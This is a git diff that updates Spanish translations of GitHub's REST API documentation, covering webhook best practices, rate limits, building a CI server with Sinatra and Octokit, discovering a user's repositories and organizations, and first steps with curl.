-As with adding event types, we may add new actions to existing events. It is therefore again **not recommended to use any sort of catch-all else clause** when checking an event's action. Instead, we suggest explicitly checking event actions as we did with the event type. An example of this looks very similar to what we suggested for event types above:
+De la misma forma como agregamos tipos de evento, podemos agregar acciones nuevas a los eventos existentes. Por lo tanto, nuevamente **no se recomienda utilizar ningún tipo de cláusula "else" para recibir todo** cuando verificamos la acción de un evento. En vez de esto, te sugerimos verificar las acciones de evento explícitamente como lo hicimos con el tipo de evento. Un ejemplo de esto se ve muy similar a lo que sugerimos para los tipos de evento anteriormente:
 
 ```ruby
 # Recommended: explicitly check each action
@@ -129,47 +129,40 @@ def process_issue(payload)
 end
 ```
 
-In this example the `closed` action is checked first before calling the `process_closed` method. Any unidentified actions are logged for future reference.
+En este ejemplo, la acción `closed` se verifica primero antes de llamar al método `process_closed`. Cualquier acción sin identificar se registra para referencias futuras.
 
 {% ifversion fpt or ghec %}
 
-## Dealing with rate limits
+## Lidiar con los límites de tasa
 
-The GitHub API [rate limit](/rest/overview/resources-in-the-rest-api#rate-limiting) ensures that the API is fast and available for everyone.
+El [límite de tasa](/rest/overview/resources-in-the-rest-api#rate-limiting) de la API de GitHub se asegura de que la API sea rápida y esté disponible para todos.
 
-If you hit a rate limit, it's expected that you back off from making requests and try again later when you're permitted to do so. Failure to do so may result in the banning of your app.
+Si alcanzas un límite de tasa, se espera que te retires y no sigas haciendo solicitudes y que intentes más tarde cuando se te permita hacerlo. Si no lo haces, podríamos prohibir tu app.
 
-You can always [check your rate limit status](/rest/reference/rate-limit) at any time. Checking your rate limit incurs no cost against your rate limit.
+Siempre puedes [verificar el estado de tu límite de tasa](/rest/reference/rate-limit) en cualquier momento. El verificar tu límite de tasa no representa costo alguno para éste.
 
-## Dealing with secondary rate limits
+## Lidiar con límites de tasa secundarios
 
-[Secondary rate limits](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) are another way we ensure the API's availability.
-To avoid hitting this limit, you should ensure your application follows the guidelines below.
+Los [Límites de tasa secundarios](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) son otra forma en la que nos aseguramos de que la API tenga disponibilidad. Para evitar llegar a este límite, deberás asegurarte de que tu aplicación siga los siguientes lineamientos.
 
-* Make authenticated requests, or use your application's client ID and secret. Unauthenticated
-  requests are subject to more aggressive secondary rate limiting.
-* Make requests for a single user or client ID serially. Do not make requests for a single user
-  or client ID concurrently.
-* If you're making a large number of `POST`, `PATCH`, `PUT`, or `DELETE` requests for a single user
-  or client ID, wait at least one second between each request.
-* When you have been limited, use the `Retry-After` response header to slow down. The value of the
-  `Retry-After` header will always be an integer, representing the number of seconds you should wait
-  before making requests again. For example, `Retry-After: 30` means you should wait 30 seconds
-  before sending more requests.
-* Requests that create content which triggers notifications, such as issues, comments and pull requests,
-  may be further limited and will not include a `Retry-After` header in the response. Please create this
-  content at a reasonable pace to avoid further limiting.
+* Hacer solicitudes autenticadas, o utilizar la ID de cliente y secreto de tu aplicación. Las solicitudes sin autenticar están sujetas a una limitación de tasa secundaria más agresiva.
+* Hacer solicitudes en serie para solo un usuario o ID de cliente. No hagas solicitudes para solo un usuario o ID de cliente simultáneamente.
+* Si haces muchas solicitudes de tipo `POST`, `PATCH`, `PUT`, o `DELETE` para un solo usuario o ID de cliente, espera por lo menos un segundo entre cada una.
+* Cuando se te limita, utiliza el encabezado de respuesta `Retry-After` para bajar la velocidad. El valor del encabezado `Retry-After` siembre será un número entero, el cual representará la cantidad de segundos que debes esperar antes de volver a hacer la solicitud. Por ejemplo, `Retry-After: 30` significa que debes esperar 30 segundos antes de enviar más solicitudes.
+* Las solicitudes que crean contenido que activa notificaciones, tales como informes de problemas, comentarios y solicitudes de extracción, puede limitarse aún más y no incluirá un encabezado de `Retry-After` en la respuesta. Por favor, crea este contenido con un ritmo razonable para evitar que se te limite nuevamente.
 
-We reserve the right to change these guidelines as needed to ensure availability.
+Nos reservamos el derecho de cambiar estos lineamientos como sea necesario para garantizar la disponibilidad.
 
 {% endif %}
 
-## Dealing with API errors
+## Lidiar con los errores de la API
 
-Although your code would never introduce a bug, you may find that you've encountered successive errors when trying to access the API.
+Aunque tu código jamás introducirá un error, podrías encontrarte con que has dado con varios errores sucesivos cuando intentas acceder a la API.
 
-Rather than ignore repeated `4xx` and `5xx` status codes, you should ensure that you're correctly interacting with the API. For example, if an endpoint requests a string and you're passing it a numeric value, you're going to receive a `5xx` validation error, and your call won't succeed. Similarly, attempting to access an unauthorized or nonexistent endpoint will result in a `4xx` error.
+En vez de ignorar los códigos de estado `4xx` y `5xx` repetidamente, debes asegurarte de que estás interactuando correctamente con la API. Por ejemplo, si una terminal solicita una secuencia y estás pasando un valor numérico, vas a recibir un error de validación `5xx`, y tu llamada no tendrá éxito. De forma similar, el intentar acceder a una terminal inexistente o no autorizada dará como resultado un error `4xx`.
 
-Intentionally ignoring repeated validation errors may result in the suspension of your app for abuse.
+El ignorar los errores de validación constantes a propóstio podría resultar en la suspensión de tu app por abuso.
+
+[event-types]: /webhooks/event-payloads
 
 [event-types]: /webhooks/event-payloads
diff --git a/translations/es-ES/content/rest/guides/building-a-ci-server.md b/translations/es-ES/content/rest/guides/building-a-ci-server.md
index 1483f0f895..0aca43049d 100644
--- a/translations/es-ES/content/rest/guides/building-a-ci-server.md
+++ b/translations/es-ES/content/rest/guides/building-a-ci-server.md
@@ -1,8 +1,8 @@
 ---
-title: Building a CI server
-intro: Build your own CI system using the Status API.
+title: Crear un servidor de IC
+intro: Crea tu propio sistema de IC utilizando la API de Estados.
 redirect_from:
-  - /guides/building-a-ci-server/
+  - /guides/building-a-ci-server
   - /v3/guides/building-a-ci-server
 versions:
   fpt: '*'
@@ -15,31 +15,22 @@ topics:
 
 
 
-The [Status API][status API] is responsible for tying together commits with
-a testing service, so that every push you make can be tested and represented
-in a {% data variables.product.product_name %} pull request.
+La [API de Estados][status API] es responsable de unir las confirmaciones con un servicio de pruebas para que cada carga que hagas pueda probarse y se represente en una solicitud de extracción de {% data variables.product.product_name %}.
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+Esta guía utilizará la API para demostrar una configuración que puedes utilizar. En nuestro escenario, nosotros:
 
-* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending).
-* When the CI is finished, we'll set the Pull Request's status accordingly.
+* Ejecutaremos nuestra suit de IC cuando se abra una Solicitud de Extracción (configuraremos el estado de IC como pendiente).
+* Cuando finalice la IC, configuraremos el estado de la Solicitud de Extracción como corresponda.
 
-Our CI system and host server will be figments of our imagination. They could be
-Travis, Jenkins, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+Nuestro sistema de IC y nuestro servidor host serán imaginarios. Podrían ser Travis, Jenkins, o algo completamente distinto. El meollo de esta guía será configurar y ajustar el servidor que administra la comunicación.
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+Si aún no lo has hecho, asegúrate de [descargar ngrok][ngrok], y de aprender a [utilizarlo][using ngrok]. Consideramos que es una herramienta muy útil para exponer las conexiones locales.
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+Nota: puedes descargar todo el código fuente para este proyecto [del repo platform-samples][platform samples].
 
-## Writing your server
+## Escribir tu servidor
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+Escribiremos una app de Sinatra rápidamente para probar que nuestras conexiones locales estén funcionando. Comencemos con esto:
 
 ``` ruby
 require 'sinatra'
@@ -51,29 +42,20 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+(Si no estás familiarizado con como funciona Sinatra, te recomendamos [leer la guía de Sinatra][Sinatra].)
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+Inicia este servidor. Predeterminadamente, Sinatra inicia en el puerto `4567`, así que también debes configurar ngrok para comenzar a escuchar este puerto.
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a Pull Request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
+Para que este servidor funcione, necesitaremos configurar un repositorio con un webhook. El webhook debe configurarse para que se active cada que se crea o fusiona una Solicitud de Extracción. Sigue adelante y crea un repositorio en el que quieras hacer tus experimentos. ¿Podríamos sugerirte que sea [el repositorio Spoon/Knife de @octocat](https://github.com/octocat/Spoon-Knife)? Después de esto, crearás un webhook nuevo en tu repositorio y lo alimentarás con la URL que te dio ngrok para luego escoger a `application/x-www-form-urlencoded` como el tipo de contenido:
 
-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![Una URL de ngrok nueva](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events**, and select the following:
+Haz clic en **Actualizar webhook**. Deberás ver una respuesta en el cuerpo que diga `Well, it worked!`. ¡Genial! Da clic en **Déjame selecionar eventos individuales**, y selecciona lo siguiente:
 
-* Status
-* Pull Request
+* Estado
+* Solicitud de Extracción
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. Let's update our server to *just* handle the Pull Request scenario right now:
+Estos son los eventos que {% data variables.product.product_name %} enviará a nuestro servidor cuando ocurra cualquier acción relevante. Vamos a actualizar nuestro servidor para que *solo* gestione el escenario de Solicitud de Extracción ahora:
 
 ``` ruby
 post '/event_handler' do
@@ -94,26 +76,15 @@ helpers do
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. From there, we'll
-take the payload of information, and return the title field. In an ideal scenario,
-our server would be concerned with every time a pull request is updated, not just
-when it's opened. That would make sure that every new push passes the CI tests.
-But for this demo, we'll just worry about when it's opened.
+¿Qué está pasando? Cada evento que {% data variables.product.product_name %} envía adjunta un encabezado de HTTP de `X-GitHub-Event`. Solo nos interesan los eventos de Solicitud de Extracción por el momento. Desde ahí, tomaremos la carga útil de información y devolveremos el campo de título. En un escenario ideal, a nuestro servidor le interesaría cada vez que se actualiza una solicitud de extracción, no únicamente cuando se abre. Eso garantizaría que todas las cargas pasen la prueba de IC. Pero para efectos de esta demostración, solo nos interesará cuándo se abren.
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, and open a pull request. Your server should respond accordingly!
+Para probar esta prueba de concepto, haz algunos cambios en una rama de tu repositorio de pruebas, y abre una solicitud de extracción. ¡Tu servidor deberá responder de acuerdo con los casos!
 
-## Working with statuses
+## Trabajar con los estados
 
-With our server in place, we're ready to start our first requirement, which is
-setting (and updating) CI statuses. Note that at any time you update your server,
-you can click **Redeliver** to send the same payload. There's no need to make a
-new pull request every time you make a change!
+Ya que configuramos el servidor, estamos listos para comenzar con nuestro primer requisito, que es configurar (y actualizar) los estados de IC. Nota que en cualquier momento que actualices tu servidor, puedes dar clic en **Volver a entregar** para enviar la misma carga útil. ¡No necesitas hacer una solicitud de extracción cada que haces un cambio!
 
-Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb]
-to manage our interactions. We'll configure that client with
-[a personal access token][access token]:
+Ya que estamos interactuando con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, utilizaremos [Octokit.rb][octokit.rb] para administrar nuestras interacciones. Configuraremos a ese cliente con
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -125,8 +96,7 @@ before do
 end
 ```
 
-After that, we'll just need to update the pull request on {% data variables.product.product_name %} to make clear
-that we're processing on the CI:
+Después de ésto, solo necesitaremos actualizar la solicitud de extracción en {% data variables.product.product_name %} para dejar en claro lo que estamos procesando en la IC:
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -135,16 +105,13 @@ def process_pull_request(pull_request)
 end
 ```
 
-We're doing three very basic things here:
+Estamos haciendo tres cosas muy básicas aquí:
 
-* we're looking up the full name of the repository
-* we're looking up the last SHA of the pull request
-* we're setting the status to "pending"
+* buscando el nombre completo del repositorio
+* buscando el último SHA de la solicitud de extracción
+* configurando el estado como "pendiente"
 
-That's it! From here, you can run whatever process you need to in order to execute
-your test suite. Maybe you're going to pass off your code to Jenkins, or call
-on another web service via its API, like [Travis][travis api]. After that, you'd
-be sure to update the status once more. In our example, we'll just set it to `"success"`:
+¡Listo! Desde estepunto puedes ejecutar el proceso que sea que necesites para ejecutar tu suit de pruebas. Tal vez vas a pasar tu código a Jenkins, o a llamar a otro servicio web a través de su API, como con [Travis][travis api]. Después de eso, asegúrate actualizar el estado una vez más. En nuestro ejemplo, solo lo configuraremos como `"success"`:
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -153,33 +120,24 @@ def process_pull_request(pull_request)
   @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success')
   puts "Pull request processed!"
 end
-``` 
+```
 
-## Conclusion
+## Conclusión
 
-At GitHub, we've used a version of [Janky][janky] to manage our CI for years.
-The basic flow is essentially the exact same as the server we've built above.
-At GitHub, we:
+En GitHub, utilizamos una versión de [Janky][janky] durante años para administrar nuestra IC. El flujo básico es esencial y exactamente el mismo que en el servidor que acabamos de crear. En GitHub, nosotros:
 
-* Fire to Jenkins when a pull request is created or updated (via Janky)
-* Wait for a response on the state of the CI
-* If the code is green, we merge the pull request
+* Notificamos todo a Jenkins cuando se crea o actualiza una solicitud de extracción (a través de Janky)
+* Esperamos una respuesta del estado de la IC
+* Si el código tiene luz verde, lo fusionamos con la solicitud de extracción
 
-All of this communication is funneled back to our chat rooms. You don't need to
-build your own CI setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+Todas estas comunicaciones se canalizan de vuelta a nuestras salas de chat. No necesitas crear tu propia configuración de IC para utilizar este ejemplo. Siempre puedes confiar en las [Integraciones de GitHub][integrations].
 
-[deploy API]: /rest/reference/repos#deployments
 [status API]: /rest/reference/repos#statuses
 [ngrok]: https://ngrok.com/
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
 [octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
 [travis api]: https://api.travis-ci.org/docs/
 [janky]: https://github.com/github/janky
-[heaven]: https://github.com/atmos/heaven
-[hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/es-ES/content/rest/guides/delivering-deployments.md b/translations/es-ES/content/rest/guides/delivering-deployments.md
index 5b68bc5faa..870e7e2465 100644
--- a/translations/es-ES/content/rest/guides/delivering-deployments.md
+++ b/translations/es-ES/content/rest/guides/delivering-deployments.md
@@ -2,8 +2,8 @@
 title: Entregar despliegues
 intro: 'Al utilizar la API de REST de Despliegues, puedes crear herramientas personalizadas que interactúen con tu servidor y con una app de terceros.'
 redirect_from:
-  - /guides/delivering-deployments/
-  - /guides/automating-deployments-to-integrators/
+  - /guides/delivering-deployments
+  - /guides/automating-deployments-to-integrators
   - /v3/guides/delivering-deployments
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md b/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md
index 74f1211882..58e8df7935 100644
--- a/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md
+++ b/translations/es-ES/content/rest/guides/discovering-resources-for-a-user.md
@@ -1,8 +1,8 @@
 ---
-title: Discovering resources for a user
-intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API.
+title: Descubrir los recursos para un usuario
+intro: Aprende cómo encontrar los repositorios y organizaciones a los cuales puede acceder tu app para un usuario de manera confiable para tus solicitudes autenticadas a la API de REST.
 redirect_from:
-  - /guides/discovering-resources-for-a-user/
+  - /guides/discovering-resources-for-a-user
   - /v3/guides/discovering-resources-for-a-user
 versions:
   fpt: '*'
@@ -11,26 +11,26 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Discover resources for a user
+shortTitle: Descubrir recursos para un usuario
 ---
 
 
 
-When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources.
+Cuando se hacen solicitudes autenticadas a la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, las aplicaciones a menudo necesitan recuperar los repositorios y organizaciones actuales del usuario. En esta guía, te explicaremos cómo descubrir estos recursos de forma confiable.
 
-To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+Para interactuar con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, utilizaremos [Octokit.rb][octokit.rb]. Puedes encontrar todo el código fuente de este proyecto en el repositorio [platform-samples][platform samples].
 
-## Getting started
+## Empezar
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user].
+Si aún no lo has hecho, deberías leer la guía de ["Conceptos Básicos de la Autenticación"][basics-of-authentication] antes de comenzar a trabajar en los siguientes ejemplos. Éstos asumen que tienes una [aplicación de OAuth registrada][register-oauth-app] y de que [tu aplicación tiene un token de OAuth para un usuario][make-authenticated-request-for-user].
 
-## Discover the repositories that your app can access for a user
+## Descubre los repositorios a los cuales tu app puede acceder para un usuario
 
-In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
+Adicionalmente a tener sus propios repositorios personales, un usuario puede ser un colaborador en los repositorios que pertenezcan a otros usuarios y organizaciones. En conjunto, estos son los repositorios en donde el usuario tiene acceso privilegiado: ya sea que se trate de un repositorio en donde el usuario tiene acceso de escritura o lectura o que sea un repositorio {% ifversion fpt %}público{% elsif ghec or ghes %} público o interno{% elsif ghae %} interno{% endif %} al cual tenga acceso dicho usuario.
 
-[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories.
+Los [alcances de OAuth][scopes] y las [políticas de aplicación de la organización][oap] determinan a cuáles de estos repositorios puede acceder tu app para un usuario. Utiliza el siguiente flujo de trabajo para descubrir estos repositorios.
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us.
+Como siempre, primero necesitaremos la biblioteca de Ruby del [Octokit.rb de GitHub][octokit.rb]. Luego, configuraremos a Octokit.rb para que nos gestione automáticamente la [paginación][pagination].
 
 ``` ruby
 require 'octokit'
@@ -38,7 +38,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]:
+Después, pasaremos el [Token de OAuth para un usuario específico][make-authenticated-request-for-user] de nuestra aplicación:
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -46,7 +46,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]:
+Luego estaremos listos para obtener los [repositorios a los cuales puede acceder nuestra aplicación para el usuario][list-repositories-for-current-user]:
 
 ``` ruby
 client.repositories.each do |repository|
@@ -63,11 +63,11 @@ client.repositories.each do |repository|
 end
 ```
 
-## Discover the organizations that your app can access for a user
+## Descubre las organizaciones a las cuales puede acceder tu app para un usuario
 
-Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations.
+Las aplicaciones pueden llevar a cabo todo tipo de tareas relacionadas con las organizaciones para un usuario. Para llevar a cabo estas tareas, la app necesita una [Autorización de OAuth][scopes] con permisos suficientes. Por ejemplo, el alcance `read:org` te permite [listar los equipos][list-teams], y el alcance `user` te permite [publicitar la membresía organizacional del usuario][publicize-membership]. Una vez que un usuario haya otorgado uno o más de estos alcances a tu app, estarás listo para obtener las organizaciones de éste.
 
-Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us:
+Tal como hicimos cuando descubrimos los repositorios anteriormente, comenzaremos requiriendo la biblioteca de Ruby [Octokit.rb de GitHub][octokit.rb] y configurándola para que se encarge de la [paginación][pagination] por nosotros:
 
 ``` ruby
 require 'octokit'
@@ -75,7 +75,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client:
+Después, pasaremos el [Token de OAuth para un usuario específico][make-authenticated-request-for-user] de nuestra aplicación para inicializar nuestro cliente de la API:
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -83,7 +83,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]:
+Después, podremos [listar las organizaciones a las cuales tiene acceso nuestra aplicación para el usuario][list-orgs-for-current-user]:
 
 ``` ruby
 client.organizations.each do |organization|
@@ -91,11 +91,11 @@ client.organizations.each do |organization|
 end
 ```
 
-### Return all of the user's organization memberships
+### Devuelve todas las membresías de organización del usuario
 
-If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships.
+Si leíste los documentos de principio a fin, tal vez hayas notado que hay un [Método de la API para listar las membrecías de organizaciones públicas de un usuario][list-public-orgs]. La mayoría de las aplicaciones deberían evitar este método de la API. Este método solo devuelve las membrecías de las organizaciones públicas del usuario y no sus membrecías de organizaciones privadas.
 
-As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that.
+Como aplicación, habitualmente querrás obtener todas las organizaciones de los usuarios a las cuales tu app tiene acceso autorizado. El flujo de trabajo anterior te proporcionará exactamente eso.
 
 [basics-of-authentication]: /rest/guides/basics-of-authentication
 [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user
@@ -103,10 +103,13 @@ As an application, you typically want all of the user's organizations that your
 [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user
 [list-teams]: /rest/reference/teams#list-teams
 [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
+[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
 [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/
 [octokit.rb]: https://github.com/octokit/octokit.rb
+[octokit.rb]: https://github.com/octokit/octokit.rb
 [pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user
 [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user
 [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
+[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
diff --git a/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md b/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md
index 86d5220126..c677b9fe50 100644
--- a/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md
+++ b/translations/es-ES/content/rest/guides/getting-started-with-the-rest-api.md
@@ -1,8 +1,8 @@
 ---
-title: Getting started with the REST API
-intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.'
+title: Iniciar con la API de REST
+intro: 'Aprende las bases para utilizar la API de REST, comenzando con la autenticación y algunos ejemplos de las terminales.'
 redirect_from:
-  - /guides/getting-started/
+  - /guides/getting-started
   - /v3/guides/getting-started
 versions:
   fpt: '*'
@@ -11,28 +11,23 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Get started - REST API
+shortTitle: Introducción - API de REST
 ---
 
 
-Let's walk through core API concepts as we tackle some everyday use cases.
+Vamos a explicar los conceptos centrales de la API mientras incluímos algunos casos de uso cotidiano.
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Overview
+## Resumen
 
-Most applications will use an existing [wrapper library][wrappers] in the language
-of your choice, but it's important to familiarize yourself with the underlying API
-HTTP methods first.
+La mayoría de las aplicaciones utilizan una [biblioteca de seguridad][wrappers] en el lenguaje de programación que escojas, pero es importante que te familiarices con los métodos HTTP básicos de la API primero.
 
-There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using
-an alternative client, note that you are required to send a valid
-[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %}
+No hay una forma más fácil de hacerlo que a través de [cURL][curl].{% ifversion fpt or ghec %} Si estás utilizando un cliente alternativo, tioma en cuenta que necesitarás enviar un [encabezado de Agente de Usuario](/rest/overview/resources-in-the-rest-api#user-agent-required) válido en tu solicitud.{% endif %}
 
-### Hello World
+### Hola Mundo
 
-Let's start by testing our setup. Open up a command prompt and enter the
-following command:
+Comencemos por probar nuestra configuración. Abre una instancia de la línea de comandos e ingresa el siguiente comando:
 
 ```shell
 $ curl https://api.github.com/zen
@@ -40,9 +35,9 @@ $ curl https://api.github.com/zen
 > Keep it logically awesome.
 ```
 
-The response will be a random selection from our design philosophies.
+La respuesta será una selección aleatoria de nuestra filosofía de diseño.
 
-Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]:
+Posteriormente, vamos a hacer `GET` para el [perfil de GitHub][users api] de [Chris Wanstrath][defunkt github]:
 
 ```shell
 # GET /users/defunkt
@@ -60,7 +55,7 @@ $ curl https://api.github.com/users/defunkt
 > }
 ```
 
-Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers:
+Mmmm, sabe a [JSON][json]. Vamos a agregar el marcador `-i` para que incluya los encabezados:
 
 ```shell
 $ curl -i https://api.github.com/users/defunkt
@@ -104,75 +99,64 @@ $ curl -i https://api.github.com/users/defunkt
 > }
 ```
 
-There are a few interesting bits in the response headers. As expected, the
-`Content-Type` is `application/json`.
+Hay algunas partes interesantes en los encabezados de la respuesta. Como lo esperábamos, el `Content-Type` es `application/json`.
 
-Any headers beginning with `X-` are custom headers, and are not included in the
-HTTP spec. For example:
+Cualquier encabezado que comience como `X` se refiere a un encabezado personalizado, y no se incluirá en la especificación de HTTPS. Por ejemplo:
 
-* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types]
-for the response. Media types have helped us version our output in API v3. We'll
-talk more about that later.
-* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This
-pair of headers indicate [how many requests a client can make][rate-limiting] in
-a rolling time period (typically an hour) and how many of those requests the
-client has already spent.
+* `X-GitHub-Media-Type` tiene un valor de `github.v3`. Esto nos permite saber el [tipo de medios][media types] para la respuesta. Los tipos de medios nos han ayudado a versionar nuestra salida en la API v3. Hablaremos más sobre esto después.
+* Toma nota de los encabezados `X-RateLimit-Limit` y `X-RateLimit-Remaining`. Este par de encabezados indica [cuántas solicitudes puede hacer un cliente][rate-limiting] en un periodo de tiempo consecutivo (habitualmente una hora) y cuántas de estas solicitudes ha gastado el cliente hasta ahora.
 
-## Authentication
+## Autenticación
 
-Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to
-_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires
-[authentication][authentication].
+Los clientes sin autenticar pueden hacer hasta 60 solicitudes por hora. Para obtener más solicitudes por hora, necesitaremos _autenticarnos_. De hecho, para hacer cualquier cosa interesante con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} se necesita [autenticación][authentication].
 
-### Using personal access tokens
+### Utilizar tokens de acceso personal
 
-The easiest and best way to authenticate with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API is by using Basic Authentication [via OAuth tokens](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). OAuth tokens include [personal access tokens][personal token].
+La forma más fácil y mejor de autenticarte con la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} es utilizando la autenticación básica [mediante tokens de OAuth](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). Éstos incluyen [tokens de acceso personal][personal token].
 
